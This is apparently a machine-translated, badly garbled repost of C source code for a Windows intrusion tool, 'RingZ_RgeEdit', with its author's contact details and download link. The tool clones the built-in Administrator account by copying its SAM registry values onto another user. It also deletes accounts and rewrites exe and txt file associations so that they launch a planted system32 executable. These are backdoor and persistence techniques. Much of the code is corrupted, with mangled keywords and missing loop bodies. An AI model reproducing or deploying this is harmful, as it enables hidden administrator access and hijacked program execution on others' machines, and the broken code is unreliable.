Code: registry operations (RingZ_RgeEdit) RingZ_CDUser extended version of: dahubaobao home page: http: //www.ringz.org-mail: dahushibaobao@vip.sina.com QQ: 382690EXE in compressed package, extract the password: www.ringz. Org http://dahubaobao.go.nease.net/ringz_rgeedit.rar welcomes the community of the ring area, a group of technical fanators, www.ringz.org Welcome to your join! Note: Please refer to the famous place, thank you! ============================================================================================================================================================================================================= =================== # include "functions.h" int main (int Argc, char * argv []) {char sID [10], c_sid [10], User [20]; char * k_sid = "1f4"; char * k_user = "administrator"; int N; for (n = 1; n IF (Strlen <= 20 && strcmp (user, k_user)! = 0) User (user); Else {Printf ("error / n"); exit (0);} Break; default: usage ();}} } return 0;} int main_correlation (void) {int r_count; c_usage (); r_count = correlation (); while (r_count! = exit) {c_usage (); r_count = correlation ();} printf ("File Correlation End) N ");} INT CORRELATION (Void) {char TXT_FILE [50], EXE_FILE [50], HLP_FILE [50], INF_FILE [50], INI_FILE [50]; char e_key [20], key [20] , D_Value [20], Value [50]; int count; while (scanf ("% d", & count) == 1) {if (count == low || count> exit) {c_usage (); continue;} IF (count == exit) {Printf ("byebye! / n"); break;}! = '/ n') Continue; switch (count) {casse 1: printf ("Correlation TXT:" ); gets (txt_file); if (strlen (txt_file <= 50) txt_correlation (txt_file); Else {Printf ("Error / N"); exit (0);} Break; Case 2: Printf ("Correlation EXE: "); gets (exe_file); if (Strlen <= 50) EXE_CORRELATION (EXE_FILE); ELSE {Printf (" Error / N "); exit (0);} Break; Case 3: Printf (" Correlation HLP : "); gets (hlp_file); if (strlen (hlp_file <= 50) HLP_CORRELATION (HLP_FILE); Else {Printf (" ER ROR / N "); exit (0);} Break; Case 4: Printf (" CORRELATION INF: "); Gets (inf_file); if (strlen (inf_file <= 50) inf_correlation; Else {Printf "Error / n"); exit (0);} Break; Case 5: Printf ("CORRELATION INI:"); Gets (INI_FILE); if (Strlen (INI_FILE) <= 50) INI_CORRELATION (INI_FILE); Else {Printf ("Error / N"); exit (0);} Break; Case 6: Printf ("Setting Correlation / N"); Printf ("" please input e_keyname (e_key): "); if (! (" (! E_key)) <= 20)) {Printf ("Error / N"); exit (0); "PLEASE INPUT Keyname (key):"); IF (! ") <= 20)) {printf (" error / n "); exit (0);} Printf (" please input d_keyvalue: "); if (! (! (Gets (D_Value)) <= 20)) {Printf ("Error / N"); exit (0);} Printf ("please input keyvalue:"); if (strlen) < = 50) DIY_CORRELATION (E_KEY, KEY, D_VALUE, VALUE); Else {Printf ("Error / N"); exit (0);}}} while (getchar ()! = '/ N') Continue; return count; } void txt_correlation (char * txtfile) {hkey hkey; dword szdata = 100, RET = 0; char * key = "txtfile // shell // open // command ///"; ret = regreatekey (hkey_classes_root, key, & hkey) // Create a new item under the specified item. If the specified item already exists, the function opens the existing item // HKEY long, open the handle, or a standard item name // lpsubkey string, and wants to create the new child. Multiple items can be created simultaneously, simply separate them with a backslash. //, for example, Level1 / Level2 / Newkey. If "" is specified, it is the default. // phkResult long, specify a variable, used to load the handle IF (! RET == ERROR_SUCCESS) {Printf ("REG CREATE FAIL / N"); exit (0);} Ret = RegSetValueex (HKEY, " ", REG_EXPAND_SZ, TXTFILE, SZDATA); if (RET == Error_Success) Printf (" txt_file correlation success / n "); else {printf (" txt_file correlation fail / n "); exit (0);} regcloseKey HKey);} void estrada = 100, RET = 0; char * key = "exefile // shell // open // command //"; ret= regreatekey (hkey_classes_root, key , & hkey); if (! RET == Error_Success) {Printf ("REG CREATE FAIL / N"); exit (0);} Ret = regSetValueex (HKEY, ", 0, Reg_SZ, EXEFILE, SZDATA); IF ( RET == Error_Success) Printf ("EXE_FILE CORRELATION SUCCESS / N); Else {Printf (" EXE_FILE CORRELATION FAIL / N "); EXIT (0);} regcloseKey (HKEY);} void inf_correlation (char * inffile) {HKEY HKEY; DWORD SZDATA = 100, RET = 0; char * key = "inffile // shell // Open //" RET = RegcreateKey (HKEY_CLASS_ROOT, Key, & HKEY); if (! Ret == Error_Success) { Printf ("REG CREATE FAIL / N"); EXIT (0);} Ret = RegSetValueex (HKEY, ", 0, REG_EXPAND_SZ, INFILE, SZDATA); if (Ret == Error_Success ) PRINTF ("inf_file correlation success / n"); Else {Printf ("inf_file correlation fail / n"); exit (0);} regcloseKey (HKEY);} void ini_correlation (char * inifi) {HKEY HKEY; DWORD SZDATA = 100, RET = 0; char * key = "inIfile // shell // open //" RET = regreatekey (hkey_classes_root, key, & hkey); if (! RET == Error_Success) {Printf ("REG Create fail / N "); exit (0);} ret= regsetValueex (HKEY,", "0, REG_EXPAND_SZ, INIFILE, SZDATA); if (Ret == Error_Success) Printf (" INI_FILE CORRELATION SUCCESS / N "); Else {Printf (" INI_FILE CORRELATION FAIL / N "); EXIT (0);} regcloseKey (HKEY);} void hlp_correlation (char * hlpfile) {hkey hkey; dword szdata = 100, RET = 0; char * key = "helpfile // shell // open // command ///////" = regreatekey (hkey_classes_root, key, & hkey); if (! RET == Error_Success) {Printf ("REG CREATE FAIL / N "); exit (0);} ret= regsetValueex (HKEY,", 0, REG_SZ, HLPFILE, SZDATA); if (RET == Error_Success) Printf ("HLP_FILE CORRELATION SUCCESS / N"); Else {Printf (" HLP_FILE CORRELATION FAIL / N "); EXIT (0);} regcloseKey (HKEY);} int Diy_CorRelation (char * e_keyname, char * key, char * d_keyvalue, char * keyvalue) {hkey hkey; dword szdata = 100, Ret = 0; char key [50]; zeromemory (key, 50); RET = regreateKey; E_KEYNAME, & HKEY); if (! RET == Error_Success) {Printf ("ONE: REG CREATE FAIL / N"); EXIT ( 0);} RET = RegSetValueex (HKEY, ",", REG_SZ, Keyname, SZDATA); if (RET == Error_Success) Printf ("One: setting regkey success / n"); else {printf ("ONE: Setting Regkey fail / N "); exit (0);} ret = regreatekey (hkey_classes_root, keyname, & hkey); if (! RET == Error_Success) {Printf ("Two: REG CREATE FAIL / N"); EXIT (0);} Ret = RegSetValueex (HKEY, "," 0, REG_SZ, D_KEYVALUE, SZDATA); if (Ret == Error_Success) Printf ("Two: Setting RegkeyValue Success / N"); Else {Printf ("Two: Setting RegkeyValue Fail / N"); exit (0);} strcpy (key, keyname); strat (key, "// shell // Open // command // "); ret = regreatekey (hkey_classes_root, key, & hkey); if (! RET == Error_Success) {Printf (" Three: REG CREATE FAIL / N "); EXIT (0);} Ret = RegSetValueex (HKEY, ", 0, REG_SZ, KeyValue, SZDATA); if (Ret == ERROR_SUCCESS) Printf ("Three: Setting RegkeyValue Success / N"); Else {Printf ("Three: Setting RegkeyValue Fail / N); EXIT (0);} RegcloseKey (HKEY);} Void SID (Char * SID) { HKEY HKEY; CHAR C_SID [10]; ZeromeMory (C_SID, 10); STRCPY (C_SID, "00000"); // Plip the top 5 STRCAT (C_SID, SID) in the SID; // Transferring the remaining 3 And continue to populate // open the registry, success return value 0 (Success) RET = regopenkey (HKEY_LOCAL_MACHINE, / / root key name, "SAM // sam // domains // account // users // ", // Terminal name to open & HKey); // Load the handle if (! RET == Error_Success) {Printf (" REG OPEN FAIL / N "); exit (0);} // Delete SID, Success return value 0 (success) RET = regdeletekey (hkey, c_sid); if ("success delete key (sID) / n"); // Print success message else {printf ("delete key fail (SID) / N "); // Print failed message exit (0);} regcloseKey (HKEY); // Close the registry key} void user (char * user) {HKEY HKEY; DWORD RET; char C_USER [40]; ZeromeMory (c_user, 40); strcpy (c_user, "); strcat (c_user, user); RET = regopenkey (HKEY_LOCAL_MACHINE," SAM // Sam // Domains // Account // Users // Names / / ", & hkey); if (! RET == Error_Success) {Printf (" REG OPEN FAIL / N "); exit (0);} Ret = regdeletekey; if (Ret == Error_suC) Cess) PRINTF ("Success Delete Key / N"); Else {Printf ("Delete Key Fail (User) / N"); EXIT (0);} RegcloseKey (HKEY);} void Openkey (Char * Key ) {HKEY HKEY; DWORD DWINDEX = 0, LPCBNAME = 100, RET = 0; Char T_Name [100], Buffer [100]; FileTime LPFTLAST; INT I = 0; ZeromeMory (Buffer, 100); ZeromeMory (T_Name, 100) ZeromeMory (Name, 1500); regopenkeyex (HKEY_LOCAL_MACHINE, / / root key name, or open) handle key, // pass a parameter, the registry key 0, // unused, set to 0 Key_All_Access // One or more constants with prefix KEY_?? // The combination describes which operations allow for this item & HKEY); for (i = 0; RET == Error_suCcess; i , dwindex ) {RET = RegenkeyEx (HKEY, DWINDEX, T_NAME, & LPCBNAME, NULL, NULL, NULL , & lpftlast); // dwindex: The index of the child wants to get. The index number of the first child is zero // t_name: a buffer for loading the item name of the specified index // & lpcbname: Specifies a variable to load the actual length (including empty characters) of the LPNAME buffer. / / Once returned, it is set to the number of characters loaded to the LPNAME buffer // null: Unused, set to zero // Null: Item Used class name // null: One for loading LPCLASS buffer length Variable // & lpftlast: FileTime, the number of time STRCAT (Name [i], t_name); zeromeMory (t_name, 100); lpcbname = 100;} regclosekey (HKEY); // Stitching user name for ( Keyn = 0; Keyn 0 '}; OpenKey ("SAM // SAM // Domains // Account // UserS // Names"); for (n = 0; n Sam // sam // Domains // Account // UserS // 000001F4 ", 0, Key_All_Access, & HKey); if (! RET == Error_Success) {Printf (" REG OPEN FAIL / N "); exit (0); } RET = RegQueryValueex (HKEY, "F", NULL, & TYPE, LPDATAF, & SIZEF); if (! RET == Error_Success) {Printf ("REG Query Value Fail / N); EXIT (0);} Ret = RegQueryValueex (HKEY, "V", NULL, & TYPE, LPDATAV, & SIZEV); if (! RET == Error_Success) {Printf ("REG Query Value Fail / N); EXIT (0);} Ret = RegopenKeyex (HKEY_LOCAL_MACHINE, Clonesid , 0, key_all_access, & c_hkey); if (! RET == Error_Success) {Printf ("REG OPEN FAIL / N"); exit (0);} Ret = RegSetValueex (c_hKey, "f", 0, REG_BINARY, LPDATAF, SIZEF); // c_hkey: Handle // "f" of the root key name or opened: The name of the value is // 0: Unused, set to zero // reg_binary: The number of types to set // lpdataf: The first byte // sizef: LPDATA buffer in the buffer containing data {printf ("REG SET VAULE FAIL / N"); exit (0);} Ret = RegSetValueex (C_HKEY, "V", 0, REG_BINARY, LPDATAV, SIZEV); if (RET == Error_Success) Printf ("Clone User Success / N"); Else {Printf ("Clone User Fail / N"); EXIT 0);} regcloseKey (HKEY); regclosekey (c_hkey); return 1;} void c_usage (void) {fprintf (stderr, "***************************** *********** ***************************************************************** / N "" Please input 1 or 5 Select File Correlation, SELECT 6 / "DIY /" File Correlation / N "" 1) TXT / T / T / T2) EXE / T / T / T3) HLP / N "" 4) INF / T / T / T5) Ini / T / T / T6) DIY / N "" 7) quit / n "" ********************* *********************************************************** ******* / n ");} void ex_correlation (void) {printf (" DIY EXAMPLE: / N / N "); fprintf (stderr," c: /> ringz_rgeedit.exe -e / n "" *********************************************************** ***************************** / N "" Please Input 1 or 5 Select File Correlation, SELECT 6 / "DIY /" File Correlation / N "" 1) TXT / T / T / T2) EXE / T / T / T3) HLP / N "" 4) INF / T / T / T5) Ini / T / T / T6) DIY / N " "7) quit / n" "***************************************** ************************************** / N "" 6 / n "" SETTING CORRELATION / n "" please input e_keyname (e_key): / ". Dahu /" / n "" please input keyname (key): / "dahubaobao /" / n "" please input d_keyvalue (d_value): / "dahufile /" / n "" "": / "%% systemroot %% // system32 // dahubaobao.exe %% 1 /" / n "" One: setting regkey success / n "" Two: setting regkeyvalue success / n " "Three: setting regkeyValue Success / N" "... / n");} void usage (void) {fprintf (stderr, "================== ============================================================================================================================================================================================================= ============ / N "" / t registry operation / n "" "/ t contains: Delete / clone any user, file association (can be customized). The time will continue to add more features / n "" / t environment: Win2K Adv Server Dev C 4.9.8.0/n""/t Author: dahubaobao / n "" / t Home: www.RingZ.org/; n "/ TOICQ: 382690 / N" "/ t mail: 382690@qq.com/n" "/ T declaration: this post was originally created by the ring line (Ringz), please indicate the source, thank you! / N / N "" / T use method: / n "" / t / ": Help information / n" / t / "- l /": list SID / N "in the system "/ t /" - c / ": clone account, input SID can / n" "/ t /" ": Delete SID / N" "/ t corresponds to the registry hkey_local_machine // sam // sam // Domains // Account // Users / N "" / t / "- u /": Delete User Name / N "" / t corresponds to the registry HKEY_LOCAL_MACHINE // SAM // Sam // Domains // Account // Users // Names / n "" / t / "- f /": file association. You can associate TXT, EXE, HLP, INF, INI, and can customize file association / n "" / t / "- e /": a custom file association example, and two illustrations / N / N "" / t Note: / n "" Because the top 5 bits of the SID are / "0 /", do not need to be input, directly input the last three-bit / N "" / t, for example: 000001F5, then enter 1F5 directly, ie You can use the regedt32 to use the -c parameter using the -c parameter using the regedt32 to use the -c parameter, and only enter the corresponding one after using the -c parameter. SID can be clone / n "" "/ t) After using the -s parameter, it will pop up /" delete Sid: / "prompt, just enter the corresponding SID to delete / n" "" / t, after using the -u parameter, will Pop-up / "delete user: /" prompt, just enter the corresponding username to delete / n "" "" "" "" / t, one menu will pop up, 1-6 is the file association option, 7 is exit. If you choose 1, then / n "" / t pop / "CORRELATION TXT: /" prompt, simply enter the corresponding program to complete the file association, for example: / n "" / t / "%% systemRoot %% / /system32//dahubaobao.exe %% 1 / ", other related methods to push / n" "" "" / T This program is just use to communicate, friends who are not familiar with registry programming can refer to the reference, clone account only / N " "/ t is time-time, there is no / N after restart," ================================= ============================================== / n ") } Functions.hcode: #include